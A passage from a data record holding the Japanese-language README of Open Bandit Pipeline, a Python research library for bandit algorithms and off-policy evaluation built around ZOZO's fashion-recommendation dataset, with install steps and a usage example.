off-policy evaluation", "lang": "Python", "repo_lang": "", "readme": "<div align=\"center\"><img src=\"https://raw.githubusercontent.com/st-tech/zr-obp/master/images/logo.png\" width=\"60%\"/></div>\n\n[![pypi](https://img.shields.io/pypi/v/obp.svg)](https://pypi.python.org/pypi/obp)\n[![Python](https://img.shields.io/badge/python-3.7%20%7C%203.8%20%7C%203.9-blue)](https://www.python.org)\n[![Downloads](https://pepy.tech/badge/obp)](https://pepy.tech/project/obp)\n![GitHub commit activity](https://img.shields.io/github/commit-activity/m/st-tech/zr-obp)\n![GitHub last commit](https://img.shields.io/github/last-commit/st-tech/zr-obp)\n[![License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://opensource.org/licenses/Apache-2.0)\n[![arXiv](https://img.shields.io/badge/arXiv-2008.07146-b31b1b.svg)](https://arxiv.org/abs/2008.07146)\n\n[[arXiv]](https://arxiv.org/abs/2008.07146)\n\n# Open Bandit Pipeline: a research framework for bandit algorithms and off-policy evaluation\n\n**[\u30c9\u30ad\u30e5\u30e1\u30f3\u30c8](https://zr-obp.readthedocs.io/en/latest/)** | **[Google Group](https://groups.google.com/g/open-bandit-project)** | **[\u30c1\u30e5\u30fc\u30c8\u30ea\u30a2\u30eb](https://sites.google.com/cornell.edu/recsys2021tutorial)** | **[\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb](#\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb)** | **[\u4f7f\u7528\u65b9\u6cd5](#\u4f7f\u7528\u65b9\u6cd5)** | **[\u30b9\u30e9\u30a4\u30c9](./slides/slides_JN.pdf)**  | **[Quickstart](./examples/quickstart)** | **[Open Bandit Dataset](./obd/README_JN.md)** | **[\u89e3\u8aac\u30d6\u30ed\u30b0\u8a18\u4e8b](https://techblog.zozo.com/entry/openbanditproject)**\n\n<details>\n<summary><strong>Table of Contents</strong></summary>\n\n- [Open Bandit Pipeline: a research framework for bandit algorithms and off-policy evaluation](#open-bandit-pipeline-a-research-framework-for-bandit-algorithms-and-off-policy-evaluation)\n- [\u6982\u8981](#\u6982\u8981)\n  - [Open Bandit Dataset](#open-bandit-dataset)\n  - [Open Bandit Pipeline](#open-bandit-pipeline)\n    - [\u5b9f\u88c5\u3055\u308c\u3066\u3044\u308b\u30d0\u30f3\u30c7\u30a3\u30c3\u30c8\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u3068\u30aa\u30d5\u65b9\u7b56\u63a8\u5b9a\u91cf](#\u5b9f\u88c5\u3055\u308c\u3066\u3044\u308b\u30d0\u30f3\u30c7\u30a3\u30c3\u30c8\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u3068\u30aa\u30d5\u65b9\u7b56\u63a8\u5b9a\u91cf)\n  - [\u30c8\u30d4\u30c3\u30af\u3068\u30bf\u30b9\u30af](#\u30c8\u30d4\u30c3\u30af\u3068\u30bf\u30b9\u30af)\n- [\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb](#\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb)\n  - [\u4f9d\u5b58\u30d1\u30c3\u30b1\u30fc\u30b8](#\u4f9d\u5b58\u30d1\u30c3\u30b1\u30fc\u30b8)\n- [\u4f7f\u7528\u65b9\u6cd5](#\u4f7f\u7528\u65b9\u6cd5)\n  - [(1) \u30c7\u30fc\u30bf\u306e\u8aad\u307f\u8fbc\u307f\u3068\u524d\u51e6\u7406](#1-\u30c7\u30fc\u30bf\u306e\u8aad\u307f\u8fbc\u307f\u3068\u524d\u51e6\u7406)\n  - [(2) \u30aa\u30d5\u65b9\u7b56\u5b66\u7fd2](#2-\u30aa\u30d5\u65b9\u7b56\u5b66\u7fd2)\n  - [(3) \u30aa\u30d5\u65b9\u7b56\u8a55\u4fa1 \uff08Off-Policy Evaluation\uff09](#3-\u30aa\u30d5\u65b9\u7b56\u8a55\u4fa1-off-policy-evaluation)\n- [\u5f15\u7528](#\u5f15\u7528)\n- [Google Group](#google-group)\n- [\u30e9\u30a4\u30bb\u30f3\u30b9](#\u30e9\u30a4\u30bb\u30f3\u30b9)\n- [\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u30c1\u30fc\u30e0](#\u30d7\u30ed\u30b8\u30a7\u30af\u30c8\u30c1\u30fc\u30e0)\n- [\u9023\u7d61\u5148](#\u9023\u7d61\u5148)\n- [\u53c2\u8003](#\u53c2\u8003)\n\n</details>\n\n# \u6982\u8981\n\n## Open Bandit Dataset\n\n*Open Bandit Dataset*\u306f, \u30d0\u30f3\u30c7\u30a3\u30c3\u30c8\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u3084\u30aa\u30d5\u65b9\u7b56\u8a55\u4fa1\u306b\u307e\u3064\u308f\u308b\u7814\u7a76\u3092\u4fc3\u9032\u3059\u308b\u305f\u3081\u306e\u5927\u898f\u6a21\u516c\u958b\u5b9f\u30c7\u30fc\u30bf\u3067\u3059.\n\u672c\u30c7\u30fc\u30bf\u30bb\u30c3\u30c8\u306f, \u65e5\u672c\u6700\u5927\u306e\u30d5\u30a1\u30c3\u30b7\u30e7\u30f3E\u30b3\u30de\u30fc\u30b9\u4f01\u696d\u3067\u3042\u308b[\u682a\u5f0f\u4f1a\u793eZOZO](https://corp.zozo.com/about/profile/)\u304c\u63d0\u4f9b\u3057\u3066\u3044\u307e\u3059.\n\u540c\u793e\u304c\u904b\u55b6\u3059\u308b\u5927\u898f\u6a21\u30d5\u30a1\u30c3\u30b7\u30e7\u30f3EC\u30b5\u30a4\u30c8[ZOZOTOWN](https://zozo.jp/)\u3067\u306f, \u3044\u304f\u3064\u304b\u306e\u591a\u8155\u30d0\u30f3\u30c7\u30a3\u30c3\u30c8\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u3092\u7528\u3044\u3066\u30e6\u30fc\u30b6\u306b\u30d5\u30a1\u30c3\u30b7\u30e7\u30f3\u30a2\u30a4\u30c6\u30e0\u3092\u63a8\u85a6\u3057\u3066\u3044\u307e\u3059.\n\u30d0\u30f3\u30c7\u30a3\u30c3\u30c8\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u306b\u3088\u308b\u30d5\u30a1\u30c3\u30b7\u30e7\u30f3\u30a2\u30a4\u30c6\u30e0\u63a8\u85a6\u306e\u4f8b\u306f\u4ee5\u4e0b\u306e\u56f31\u306e\u901a\u308a\u3067\u3059.\n\u5404\u30e6\u30fc\u30b6\u30ea\u30af\u30a8\u30b9\u30c8\u306b\u5bfe\u3057\u3066, 3\u3064\u306e\u30d5\u30a1\u30c3\u30b7\u30e7\u30f3\u30a2\u30a4\u30c6\u30e0\u304c\u540c\u6642\u306b\u63a8\u85a6\u3055\u308c\u308b\u3053\u3068\u304c\u308f\u304b\u308a\u307e\u3059.\n\n<div align=\"center\"><img src=\"https://raw.githubusercontent.com/st-tech/zr-obp/master/images/recommended_fashion_items.png\" width=\"45%\"/></div>\n<figcaption>\n<p align=\"center\">\n\u56f31. ZOZOTOWN\u306b\u304a\u3051\u308b\u30d5\u30a1\u30c3\u30b7\u30e7\u30f3\u30a2\u30a4\u30c6\u30e0\u306e\u63a8\u85a6\u306e\u4f8b\n</p>\n</figcaption>\n\n\n2019\u5e7411\u6708\u4e0b\u65ec\u306e7\u65e5\u9593\u306b\u308f\u305f\u308b\u30c7\u30fc\u30bf\u53ce\u96c6\u5b9f\u9a13\u306b\u304a\u3044\u3066, \u5168\u30a2\u30a4\u30c6\u30e0(all)\u30fb\u7537\u6027\u7528\u30a2\u30a4\u30c6\u30e0(men)\u30fb\u5973\u6027\u7528\u30a2\u30a4\u30c6\u30e0(women)\u306b\u5bfe\u5fdc\u3059\u308b3\u3064\u306e\u300c\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u300d\u3067\u30c7\u30fc\u30bf\u3092\u53ce\u96c6\u3057\u307e\u3057\u305f.\n\u305d\u308c\u305e\u308c\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3067\u306f, \u5404\u30e6\u30fc\u30b6\u306e\u30a4\u30f3\u30d7\u30ec\u30c3\u30b7\u30e7\u30f3\u306b\u5bfe\u3057\u3066\u30e9\u30f3\u30c0\u30e0\u65b9\u7b56(Random)\u307e\u305f\u306f\u30c8\u30f3\u30d7\u30bd\u30f3\u62bd\u51fa\u65b9\u7b56(Bernoulli Thompson Sampling; Bernoulli TS)\u306e\u3044\u305a\u308c\u304b\u3092\u78ba\u7387\u7684\u306b\u30e9\u30f3\u30c0\u30e0\u306b\u9078\u629e\u3057\u3066\u9069\u7528\u3057\u3066\u3044\u307e\u3059.\n\u56f32\u306fOpen Bandit Dataset\u306e\u8a18\u8ff0\u7d71\u8a08\u3092\u793a\u3057\u3066\u3044\u307e\u3059.\n\n<div align=\"center\"><img src=\"https://raw.githubusercontent.com/st-tech/zr-obp/master/images/obd_stats.png\" width=\"90%\"/></div>\n<figcaption>\n  <p align=\"center\">\n    \u56f32. Open Bandit Dataset\u306e\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3068\u30c7\u30fc\u30bf\u53ce\u96c6\u65b9\u7b56\u3054\u3068\u306e\u8a18\u8ff0\u7d71\u8a08\n  </p>\n</figcaption>\n\n\n[\u5b9f\u88c5\u4f8b](./examples)\u3092\u5b9f\u884c\u3059\u308b\u305f\u3081\u306e\u5c11\u91cf\u7248\u30c7\u30fc\u30bf\u306f, [./obd/](./obd)\u306b\u3042\u308a\u307e\u3059.\nOpen Bandit Dataset\u306e\u30d5\u30eb\u30b5\u30a4\u30ba\u7248\u306f[https://research.zozo.com/data.html](https://research.zozo.com/data.html)\u306b\u3042\u308a\u307e\u3059.\n\u52d5\u4f5c\u78ba\u8a8d\u7b49\u306b\u306f\u5c11\u91cf\u7248\u3092, \u7814\u7a76\u7528\u9014\u306b\u306f\u30d5\u30eb\u30b5\u30a4\u30ba\u7248\u3092\u6d3b\u7528\u3057\u3066\u304f\u3060\u3055\u3044.\n\n## Open Bandit Pipeline\n\n*Open Bandit Pipeline*\u306f, \u30c7\u30fc\u30bf\u30bb\u30c3\u30c8\u306e\u524d\u51e6\u7406\u30fb\u30aa\u30d5\u65b9\u7b56\u5b66\u7fd2\u30fb\u30aa\u30d5\u65b9\u7b56\u63a8\u5b9a\u91cf\u306e\u8a55\u4fa1\u3092\u7c21\u5358\u306b\u884c\u3046\u305f\u3081\u306ePython\u30d1\u30c3\u30b1\u30fc\u30b8\u3067\u3059.\nOpen Bandit Pipeline\u3092\u6d3b\u7528\u3059\u308b\u3053\u3068\u3067, \u7814\u7a76\u8005\u306f\u30aa\u30d5\u65b9\u7b56\u63a8\u5b9a\u91cf (OPE estimator) \u306e\u5b9f\u88c5\u306b\u96c6\u4e2d\u3057\u3066\u73fe\u5b9f\u7684\u3067\u518d\u73fe\u6027\u306e\u3042\u308b\u65b9\u6cd5\u3067\u4ed6\u306e\u624b\u6cd5\u3068\u306e\u6027\u80fd\u6bd4\u8f03\u3092\u884c\u3046\u3053\u3068\u304c\u3067\u304d\u308b\u3088\u3046\u306b\u306a\u308a\u307e\u3059.\n\u30aa\u30d5\u65b9\u7b56\u8a55\u4fa1(Off-Policy Evaluation)\u306b\u3064\u3044\u3066\u306f, [\u3053\u3061\u3089\u306e\u30d6\u30ed\u30b0\u8a18\u4e8b](https://techblog.zozo.com/entry/openbanditproject)\u3092\u3054\u78ba\u8a8d\u304f\u3060\u3055\u3044.\n\n<div align=\"center\"><img src=\"https://raw.githubusercontent.com/st-tech/zr-obp/master/images/overview.png\" width=\"80%\"/></div>\n<figcaption>\n<p align=\"center\">\n  \u56f33. Open Bandit Pipeline\u306e\u69cb\u6210\n</p>\n</figcaption>\n\nOpen Bandit Pipeline\u306f, \u4ee5\u4e0b\u306e\u4e3b\u8981\u30e2\u30b8\u30e5\u30fc\u30eb\u3067\u69cb\u6210\u3055\u308c\u3066\u3044\u307e\u3059.\n\n- [**dataset\u30e2\u30b8\u30e5\u30fc\u30eb**](./obp/dataset): \u3053\u306e\u30e2\u30b8\u30e5\u30fc\u30eb\u306f, Open Bandit Dataset\u7528\u306e\u30c7\u30fc\u30bf\u8aad\u307f\u8fbc\u307f\u30af\u30e9\u30b9\u3068\u30c7\u30fc\u30bf\u306e\u524d\u51e6\u7406\u3059\u308b\u305f\u3081\u306e\u67d4\u8edf\u306a\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u3092\u63d0\u4f9b\u3057\u307e\u3059. \u307e\u305f\u4eba\u5de5\u30c7\u30fc\u30bf\u3092\u751f\u6210\u3059\u308b\u30af\u30e9\u30b9\u3084\u591a\u30af\u30e9\u30b9\u5206\u985e\u30c7\u30fc\u30bf\u3092\u30d0\u30f3\u30c7\u30a3\u30c3\u30c8\u30c7\u30fc\u30bf\u306b\u5909\u63db\u3059\u308b\u305f\u3081\u306e\u30af\u30e9\u30b9\u3082\u5b9f\u88c5\u3057\u3066\u3044\u307e\u3059.\n- [**policy\u30e2\u30b8\u30e5\u30fc\u30eb**](./obp/policy): \u3053\u306e\u30e2\u30b8\u30e5\u30fc\u30eb\u306f, \u30d0\u30f3\u30c7\u30a3\u30c3\u30c8\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u306e\u305f\u3081\u306e\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30a4\u30b9\u3092\u63d0\u4f9b\u3057\u307e\u3059. \u52a0\u3048\u3066, \u3044\u304f\u3064\u304b\u306e\u6a19\u6e96\u306a\u30d0\u30f3\u30c7\u30a3\u30c3\u30c8\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u3092\u5b9f\u88c5\u3057\u3066\u3044\u307e\u3059.\n- [**ope\u30e2\u30b8\u30e5\u30fc\u30eb**](./obp/ope):\u3000\u3053\u306e\u30e2\u30b8\u30e5\u30fc\u30eb\u306f, \u3044\u304f\u3064\u304b\u306e\u6a19\u6e96\u7684\u306a\u30aa\u30d5\u65b9\u7b56\u63a8\u5b9a\u91cf\u3092\u5b9f\u88c5\u3057\u3066\u3044\u307e\u3059. \u307e\u305f\u65b0\u305f\u306b\u30aa\u30d5\u65b9\u7b56\u63a8\u5b9a\u91cf\u3092\u5b9f\u88c5\u3059\u308b\u305f\u3081\u306e\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u3082\u63d0\u4f9b\u3057\u3066\u3044\u307e\u3059.\n\n\n### \u5b9f\u88c5\u3055\u308c\u3066\u3044\u308b\u30d0\u30f3\u30c7\u30a3\u30c3\u30c8\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u3068\u30aa\u30d5\u65b9\u7b56\u63a8\u5b9a\u91cf\n\n<details>\n<summary><strong>\u30d0\u30f3\u30c7\u30a3\u30c3\u30c8\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0 (policy module\u306b\u5b9f\u88c5)</strong></summary>\n\n- Online\n  - Non-Contextual (Context-free)\n    - Random\n    - Epsilon Greedy\n    - Bernoulli Thompson Sampling\n  - Contextual (Linear)\n    - Linear Epsilon Greedy\n    - [Linear Thompson Sampling](http://proceedings.mlr.press/v28/agrawal13)\n    - [Linear Upper Confidence Bound](https://dl.acm.org/doi/pdf/10.1145/1772690.1772758)\n  - Contextual (Logistic)\n    - Logistic Epsilon Greedy\n    - [Logistic Thompson Sampling](https://papers.nips.cc/paper/4321-an-empirical-evaluation-of-thompson-sampling)\n    - [Logistic Upper Confidence Bound](https://dl.acm.org/doi/10.1145/2396761.2396767)\n- Offline (Off-Policy Learning)\n  - [Inverse Probability Weighting (IPW) Learner](https://arxiv.org/abs/1503.02834)\n  - Neural Network-based Policy Learner\n\n</details>\n\n<details>\n<summary><strong>\u30aa\u30d5\u65b9\u7b56\u63a8\u5b9a\u91cf (ope module\u306b\u5b9f\u88c5)</strong></summary>\n\n- OPE of Online Bandit Algorithms\n  - [Replay Method (RM)](https://arxiv.org/abs/1003.5956)\n- OPE of Offline Bandit Algorithms\n  - [Direct Method (DM)](https://arxiv.org/abs/0812.4044)\n  - [Inverse Probability Weighting (IPW)](https://scholarworks.umass.edu/cgi/viewcontent.cgi?article=1079&context=cs_faculty_pubs)\n  - [Self-Normalized Inverse Probability Weighting (SNIPW)](https://papers.nips.cc/paper/5748-the-self-normalized-estimator-for-counterfactual-learning)\n  - [Doubly Robust (DR)](https://arxiv.org/abs/1503.02834)\n  - [Switch Estimators](https://arxiv.org/abs/1612.01205)\n  - [More Robust Doubly Robust (MRDR)](https://arxiv.org/abs/1802.03493)\n  - [Doubly Robust with Optimistic Shrinkage (DRos)](https://arxiv.org/abs/1907.09623)\n  - [Double Machine Learning (DML)](https://arxiv.org/abs/2002.08536)\n- OPE of Offline Slate Bandit Algorithms\n  - [Independent Inverse Propensity Scoring (IIPS)](https://arxiv.org/abs/1804.10488)\n  - [Reward Interaction Inverse Propensity Scoring (RIPS)](https://arxiv.org/abs/2007)\n- OPE of Offline Bandit Algorithms with Continuous Actions\n  - [Kernelized Inverse Probability Weighting](https://arxiv.org/abs/1802.06037)\n  - [Kernelized Self-Normalized Inverse Probability Weighting](https://arxiv.org/abs/1802.06037)\n  - [Kernelized Doubly Robust](https://arxiv.org/abs/1802.06037)\n\n</details>\n\nOpen Bandit Pipeline\u306f, \u4e0a\u8a18\u306e\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u3084\u30aa\u30d5\u65b9\u7b56\u63a8\u5b9a\u91cf\u306b\u52a0\u3048\u3066\u67d4\u8edf\u306a\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u3082\u63d0\u4f9b\u3057\u3066\u3044\u307e\u3059.\n\u3057\u305f\u304c\u3063\u3066\u7814\u7a76\u8005\u306f, \u72ec\u81ea\u306e\u30d0\u30f3\u30c7\u30a3\u30c3\u30c8\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u3084\u63a8\u5b9a\u91cf\u3092\u5bb9\u6613\u306b\u5b9f\u88c5\u3059\u308b\u3053\u3068\u3067\u305d\u308c\u3089\u306e\u6027\u80fd\u3092\u8a55\u4fa1\u3067\u304d\u307e\u3059.\n\u3055\u3089\u306bOpen Bandit Pipeline\u306f, \u5b9f\u30d0\u30f3\u30c7\u30a3\u30c3\u30c8\u30d5\u30a3\u30fc\u30c9\u30d0\u30c3\u30af\u30c7\u30fc\u30bf\u3092\u6271\u3046\u305f\u3081\u306e\u30a4\u30f3\u30bf\u30d5\u30a7\u30fc\u30b9\u3092\u542b\u3093\u3067\u3044\u307e\u3059.\n\u3057\u305f\u304c\u3063\u3066, \u30a8\u30f3\u30b8\u30cb\u30a2\u3084\u30c7\u30fc\u30bf\u30b5\u30a4\u30a8\u30f3\u30c6\u30a3\u30b9\u30c8\u306a\u3069\u306e\u5b9f\u8df5\u8005\u306f, \u81ea\u793e\u306e\u30c7\u30fc\u30bf\u30bb\u30c3\u30c8\u3092Open Bandit Pipeline\u3068\u7d44\u307f\u5408\u308f\u305b\u308b\u3053\u3068\u3067\u7c21\u5358\u306b\u30aa\u30d5\u65b9\u7b56\u8a55\u4fa1\u3092\u884c\u3046\u3053\u3068\u304c\u3067\u304d\u307e\u3059.\n\n## \u30c8\u30d4\u30c3\u30af\u3068\u30bf\u30b9\u30af\n\nOpen Bandit Dataset\u53ca\u3073Open Bandit Pipeline\u3067\u306f, \u4ee5\u4e0b\u306e\u7814\u7a76\u30c6\u30fc\u30de\u306b\u95a2\u3059\u308b\u5b9f\u9a13\u8a55\u4fa1\u3092\u884c\u3046\u3053\u3068\u304c\u3067\u304d\u307e\u3059.\n\n- **\u30d0\u30f3\u30c7\u30a3\u30c3\u30c8\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u306e\u6027\u80fd\u8a55\u4fa1 (Evaluation of Bandit Algorithms)**\uff1aOpen Bandit Dataset\u306b\u306f, \u30e9\u30f3\u30c0\u30e0\u65b9\u7b56\u306b\u3088\u3063\u3066\u53ce\u96c6\u3055\u308c\u305f\u5927\u898f\u6a21\u306a\u30ed\u30b0\u30c7\u30fc\u30bf\u304c\u542b\u307e\u308c\u3066\u3044\u307e\u3059. \u305d\u308c\u3092\u7528\u3044\u308b\u3053\u3068\u3067, \u65b0\u3057\u3044\u30aa\u30f3\u30e9\u30a4\u30f3\u30d0\u30f3\u30c7\u30a3\u30c3\u30c8\u30a2\u30eb\u30b4\u30ea\u30ba\u30e0\u306e\u6027\u80fd\u3092\u8a55\u4fa1\u3059\u308b\u3053\u3068\u304c\u53ef\u80fd\u3067\u3059.\n\n- **\u30aa\u30d5\u65b9\u7b56\u8a55\u4fa1\u306e\u6b63\u78ba\u3055\u306e\u8a55\u4fa1 (Evaluation of Off-Policy Evaluation)**\uff1aOpen Bandit Dataset\u306f, \u8907\u6570\u306e\u65b9\u7b56\u3092\u5b9f\u30b7\u30b9\u30c6\u30e0\u4e0a\u3067\u540c\u6642\u306b\u8d70\u3089\u305b\u308b\u3053\u3068\u306b\u3088\u308a\u751f\u6210\u3055\u308c\u305f\u30ed\u30b0\u30c7\u30fc\u30bf\u3067\u69cb\u6210\u3055\u308c\u3066\u3044\u307e\u3059. \u307e\u305fOpen Bandit Pipeline\u3092\u7528\u3044\u308b\u3053\u3068\u3067, \u30c7\u30fc\u30bf\u53ce\u96c6\u306b\u7528\u3044\u3089\u308c\u305f\u65b9\u7b56\u3092\u518d\u73fe\u3067\u304d\u307e\u3059. \u305d\u306e\u305f\u3081, \u30aa\u30d5\u65b9\u7b56\u63a8\u5b9a\u91cf\u306e\u63a8\u5b9a\u7cbe\u5ea6\u306e\u8a55\u4fa1\u3092\u884c\u3046\u3053\u3068\u304c\u3067\u304d\u307e\u3059.\n\n\n# \u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\n\n\u4ee5\u4e0b\u306e\u901a\u308a, `pip`\u3092\u7528\u3044\u3066Open Bandit Pipeline\u3092\u30c0\u30a6\u30f3\u30ed\u30fc\u30c9\u3067\u304d\u307e\u3059.\n\n```bash\npip install obp\n```\n\n\u307e\u305f, \u672c\u30ea\u30dd\u30b8\u30c8\u30ea\u3092clone\u3057\u3066\u30bb\u30c3\u30c8\u30a2\u30c3\u30d7\u3059\u308b\u3053\u3068\u3082\u3067\u304d\u307e\u3059.\n\n```bash\ngit clone https://github.com/st-tech/zr-obp\ncd zr-obp\npython setup.py install\n```\n\nPython\u304a\u3088\u3073\u5229\u7528\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u306f\u4ee5\u4e0b\u306e\u901a\u308a\u3067\u3059\u3002\n\n```\n[tool.poetry.dependencies]\npython = \">=3.7.1,<3.10\"\ntorch = \"^1.9.0\"\nscikit-learn = \"^0.24.2\"\npandas = \"^1.3.2\"\nnumpy = \"^1.21.2\"\nmatplotlib = \"^3.4.3\"\ntqdm = \"^4.62.2\"\nscipy = \"^1.7.1\"\nPyYAML = \"^5.4.1\"\nseaborn = \"^0.11.2\"\npyieoe = \"^0.1.1\"\npingouin = \"^0.4.0\"\n```\n\n\u3053\u308c\u3089\u306e\u30d1\u30c3\u30b1\u30fc\u30b8\u306e\u30d0\u30fc\u30b8\u30e7\u30f3\u304c\u7570\u306a\u308b\u3068\u3001\u4f7f\u7528\u65b9\u6cd5\u3084\u6319\u52d5\u304c\u672c\u66f8\u57f7\u7b46\u6642\u70b9\u3068\u7570\u306a\u308b\u5834\u5408\u304c\u3042\u308b\u306e\u3067\u3001\u6ce8\u610f\u3057\u3066\u304f\u3060\u3055\u3044\u3002\n\n# \u4f7f\u7528\u65b9\u6cd5\n\n\u3053\u3053\u3067\u306f, Open Bandit Pipeline\u306e\u4f7f\u7528\u6cd5\u3092\u8aac\u660e\u3057\u307e\u3059. \u5177\u4f53\u4f8b\u3068\u3057\u3066, Open Bandit Dataset\u3092\u7528\u3044\u3066, \u30c8\u30f3\u30d7\u30bd\u30f3\u62bd\u51fa\u65b9\u7b56\u306e\u6027\u80fd\u3092\u30aa\u30d5\u30e9\u30a4\u30f3\u8a55\u4fa1\u3059\u308b\u6d41\u308c\u3092\u5b9f\u88c5\u3057\u307e\u3059. \u4eba\u5de5\u30c7\u30fc\u30bf\u3084\u591a\u30af\u30e9\u30b9\u5206\u985e\u30c7\u30fc\u30bf\u3092\u7528\u3044\u305f\u30aa\u30d5\u65b9\u7b56\u8a55\u4fa1\u306e\u5b9f\u88c5\u6cd5\u306f, [\u82f1\u8a9e\u7248\u306eREAMDE](https://github.com/st-tech/zr-obp/blob/master/README.md)\u3084[examples/quickstart/](https://github.com/st-tech/zr-obp/tree/master/examples/quickstart)\u3092\u3054\u78ba\u8a8d\u304f\u3060\u3055\u3044.\n\n\u4ee5\u4e0b\u306b\u793a\u3059\u3088\u3046\u306b, \u7d0410\u884c\u306e\u30b3\u30fc\u30c9\u3067\u30aa\u30d5\u65b9\u7b56\u8a55\u4fa1\u306e\u6d41\u308c\u3092\u5b9f\u88c5\u3067\u304d\u307e\u3059.\n\n```python\n# Inverse Probability Weighting\u3068\u30e9\u30f3\u30c0\u30e0\u65b9\u7b56\u306b\u3088\u3063\u3066\u751f\u6210\u3055\u308c\u305f\u30ed\u30b0\u30c7\u30fc\u30bf\u3092\u7528\u3044\u3066, BernoulliTS\u306e\u6027\u80fd\u3092\u30aa\u30d5\u30e9\u30a4\u30f3\u3067\u8a55\u4fa1\u3059\u308b\nfrom obp.dataset import OpenBanditDataset\nfrom obp.policy import BernoulliTS\nfrom obp.ope import OffPolicyEvaluation, InverseProbabilityWeighting as IPW\n\n# (1) \u30c7\u30fc\u30bf\u306e\u8aad\u307f\u8fbc\u307f\u3068\u524d\u51e6\u7406\ndataset = OpenBanditDataset(behavior_policy='random', campaign='all')\nbandit_feedback = dataset.obtain_batch_bandit_feedback()\n\n# (2) \u30aa\u30d5\u65b9\u7b56\u5b66\u7fd2\nevaluation_policy = BernoulliTS(\n    n_actions=dataset.n_actions,\n    len_list=dataset.len_list,\n    is_zozotown_prior=True,\n    campaign=\"all\",\n    random_state=12345\n)\naction_dist = evaluation_policy.compute_batch_action_dist(\n    n_sim=100000, n_rounds=bandit_feedback[\"n_rounds\"]\n)\n\n# (3) \u30aa\u30d5\u65b9\u7b56\u8a55\u4fa1\nope = OffPolicyEvaluation(bandit_feedback=bandit_feedback, ope_estimators=[IPW()])\nestimated_policy_value = ope.estimate_policy_values(action_dist=action_dist)\n\n# \u30e9\u30f3\u30c0\u30e0\u65b9\u7b56\u306b\u5bfe\u3059\u308b\u30c8\u30f3\u30d7\u30bd\u30f3\u62bd\u51fa\u65b9\u7b56\u306e\u6027\u80fd\u306e\u6539\u5584\u7387\uff08\u76f8\u5bfe\u30af\u30ea\u30c3\u30af\u7387\uff09\nrelative_policy_value_of_bernoulli_ts = estimated_policy_value['ipw'] / bandit_feedback['reward'].mean()\nprint(relative_policy_value_of_bernoulli_ts)\n1.198126...\n```\n\n\u4ee5\u4e0b, \u91cd\u8981\u306a\u8981\u7d20\u306b\u3064\u3044\u3066\u8aac\u660e\u3057\u307e\u3059.\n\n## (1) \u30c7\u30fc\u30bf\u306e\u8aad\u307f\u8fbc\u307f\u3068\u524d\u51e6\u7406\n\nOpen Bandit Pipeline\u306b\u306f, Open Bandit Dataset\u7528\u306e\u30c7\u30fc\u30bf\u8aad\u307f\u8fbc\u307f\u30a4\u30f3\u30bf\u30fc\u30d5\u30a7\u30fc\u30b9\u3092\u7528\u610f\u3057\u3066\u3044\u307e\u3059.\n\u3053\u308c\u3092\u7528\u3044\u308b\u3053\u3068\u3067, Open Bandit Dataset\u306e\u8aad\u307f\u8fbc\u307f\u3084\u524d\u51e6\u7406\u3092\u7c21\u6f54\u306b\u884c\u3046\u3053\u3068\u304c\u3067\u304d\u307e\u3059.\n\n```python\n# \u300c\u5168\u30a2\u30a4\u30c6\u30e0\u30ad\u30e3\u30f3\u30da\u30fc\u30f3 (all)\u300d\u306b\u304a\u3044\u3066\u30e9\u30f3\u30c0\u30e0\u65b9\u7b56\u304c\u96c6\u3081\u305f\u30ed\u30b0\u30c7\u30fc\u30bf\u3092\u8aad\u307f\u8fbc\u3080.\n# OpenBanditDataset\u30af\u30e9\u30b9\u306b\u306f\u30c7\u30fc\u30bf\u3092\u53ce\u96c6\u3057\u305f\u65b9\u7b56\u3068\u30ad\u30e3\u30f3\u30da\u30fc\u30f3\u3092\u6307\u5b9a\u3059\u308b.\ndataset = OpenBanditDataset(behavior_policy='random', campaign='all')\n\n# \u30aa\u30d5\u65b9\u7b56\u5b66\u7fd2\u3084\u30aa\u30d5\u65b9\u7b56\u8a55\u4fa1\u306b\u7528\u3044\u308b\u30ed\u30b0\u30c7\u30fc\u30bf\u3092\u5f97\u308b.\nbandit_feedback = dataset.obtain_batch_bandit_feedback()\n\nprint(bandit_feedback.keys())\n# dict_keys(['n_rounds', 'n_actions', 'action', 'position', 'reward', 'pscore', 'context', 'action_context'])\n```\n\n`obp.dataset.OpenBanditDataset` \u30af\u30e9\u30b9\u306e `pre_process` \u30e1\u30bd\u30c3\u30c9\u306b, \u72ec\u81ea\u306e\u7279\u5fb4\u91cf\u30a8\u30f3\u30b8\u30cb\u30a2\u30ea\u30f3\u30b0\u3092\u5b9f\u88c5\u3059\u308b\u3053\u3068\u3082\u3067\u304d\u307e\u3059. [`custom_dataset.py`](https://github.com/st-tech/zr-obp/blob/master/benchmark/cf_policy_search/custom_dataset.py)\u306b\u306f, \u65b0\u3057\u3044\u7279\u5fb4\u91cf\u30a8\u30f3\u30b8\u30cb\u30a2\u30ea\u30f3\u30b0\u3092\u5b9f\u88c5\u3059\u308b\u4f8b\u3092\u793a\u3057\u3066\u3044\u307e\u3059. \u307e\u305f, 